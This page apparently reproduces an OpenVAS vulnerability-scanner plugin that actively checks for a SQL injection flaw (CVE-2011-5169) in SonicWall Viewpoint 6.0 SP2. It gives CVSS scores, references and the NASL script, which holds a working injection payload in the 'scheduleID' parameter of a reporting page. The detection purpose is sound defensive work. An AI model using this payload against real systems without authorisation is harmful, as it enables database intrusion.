Lucene search

K
openvasCopyright (C) 2012 Greenbone Networks GmbHOPENVAS:1361412562310803033
HistorySep 25, 2012 - 12:00 a.m.

SonicWall Viewpoint <= 6.0 SP2 SQLi Vulnerability - Active Check

2012-09-2500:00:00
Copyright (C) 2012 Greenbone Networks GmbH
plugins.openvas.org
17

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

7.7 High

AI Score

Confidence

Low

0.002 Low

EPSS

Percentile

60.3%

SonicWall Viewpoint is prone to an SQL injection (SQLi)
vulnerability.

# Copyright (C) 2012 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803033");
  script_version("2023-02-24T10:20:04+0000");
  script_tag(name:"last_modification", value:"2023-02-24 10:20:04 +0000 (Fri, 24 Feb 2023)");
  script_tag(name:"creation_date", value:"2012-09-25 15:47:29 +0530 (Tue, 25 Sep 2012)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2011-5169");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("SonicWall Viewpoint <= 6.0 SP2 SQLi Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2012 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_require_ports("Services/www", 80);
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"SonicWall Viewpoint is prone to an SQL injection (SQLi)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Input passed to 'scheduleID' parameter in
  'sgms/reports/scheduledreports/configure/scheduleProps.jsp' page is not properly verified before
  being used in SQL queries.");

  script_tag(name:"impact", value:"Successful exploitation will let attackers to manipulate SQL
  queries by injecting arbitrary SQL code.");

  script_tag(name:"affected", value:"SonicWALL Viewpoint version 6.0 SP2 and prior.");

  script_tag(name:"solution", value:"Apply SonicWALL Viewpoint hotfix 104767 from the referenced
  advisory.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/46115");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49906");
  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2011/Oct/5");
  script_xref(name:"URL", value:"http://www.sonicwall.com/app/projects/file_downloader/document_lib.php?t=RN&id=379");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/105493/SonicWall-Viewpoint-6.0-SP2-Blind-SQL-Injection.html");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

res = http_get_cache(port: port, item: "/sgms/login");

if (!res || res !~ "HTTP/1\.[01] 200" ||
    (">SonicWALL ViewPoint Login" >!< res && ">SonicWALL GMS Login" >< res))
  exit(0);

url = "/sgms/reports/scheduledreports/configure/scheduleProps.jsp?" +
      "scheduleID=3%20order%20by%201,%20(%20select%20case%20when%20" +
      "(1=1)%20%20then%201%20else%201*(select%20table_name%20from%" +
      "20information_schema.tables)end)=1";

if (http_vuln_check(port: port, url: url, check_header: TRUE, pattern: "List of Reports",
                    extra_check: make_list("Schedule Properties", ">Close<", "EMPTY_HEADER"))) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

7.7 High

AI Score

Confidence

Low

0.002 Low

EPSS

Percentile

60.3%

Related for OPENVAS:1361412562310803033